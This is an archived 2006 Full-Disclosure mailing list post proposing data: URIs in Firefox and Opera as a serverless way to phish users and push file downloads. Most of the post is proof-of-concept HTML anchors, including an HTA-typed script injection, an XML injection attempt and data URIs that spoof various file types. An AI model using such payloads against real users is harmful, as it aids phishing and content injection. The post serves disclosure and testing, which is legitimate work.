lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <20061024134536.14014DA824@mailserver7.hushmail.com>
Date: Tue, 24 Oct 2006 09:45:35 -0400
From: <auto113922@...h.ai>
To: <full-disclosure@...ts.grok.org.uk>
Cc: <bugtraq@...urityfocus.com>
Subject: who needs a server ...

for phsihing and phile downloading specially when server from 
"location: I don't know" :) this is kind of cool normally used for 
base64 inline images I think ? Firefox 2.0 and Opera 9.02 you can 
invoke the apps and play from there check .asx in temp with foo.asf 
maybe you can do some things else

<a 
href="data:image/gif;base64,R0lGODlhFQAVAMQAAADMMwLMNRDPQMry1C3UVlTb
dW3giZvprfb69hDIADnM
Kje5AEqPAGfBALzFAOvKAKmNAMDAwP3KAPrJAPnHAOy9AMukAGtXAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABEALAAAAAAVABUAQAXKYCSOozSd
k0SSVQK8BSLPyGAAyWWJUmVBlwtjkUgsGMEgxFIZTRqwwaEgeFkbzImoAnEB
YjIbwZrTrSISSmXNXlNU58ij4bXisBXtiAKF0WwCAgEADExbC1Zgf1QACxcQ
Wz+IBVJjdkiPO04+P0lJS1lxEg4NREYNDhVvcQ+TBgSDdguhPA5eYGJVLwlL
TREViH5/U1ULS1t1ijQINzmaFX1fywcEgoSPkQzCU7EvmJpqFkIKVN0JmDq+
ERM+QJ7vvXqbnD+gTHkiIQA7">test</a>

<a 
href="data:application/hta;7bit,<script>alert()</script>">test</a>

<a href="data:text/xml;7bit,''><img>try inject
">test</a>

<a href="data:text/html;7bit,<img 
src=http://ie7.com/firefox.jpg>">test</a>

<a href="data:application/pdf;7bit,foo.pdf">test</a>

<a href="data:application/x-shockwave-flash;7bit,foo.swf">test</a>

<a href="data:video/x-ms-asf;7bit,foo.asf">test</a>

<a href="data:application/zip;7bit,foo.zip">test</a>

<a href="data:video/quicktime;7bit,foo.mov">test</a>


--



Concerned about your privacy? Instantly send FREE secure email, no account required
http://www.hushmail.com/send?l=480

Get the best prices on SSL certificates from Hushmail
https://www.hushssl.com?l=485

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ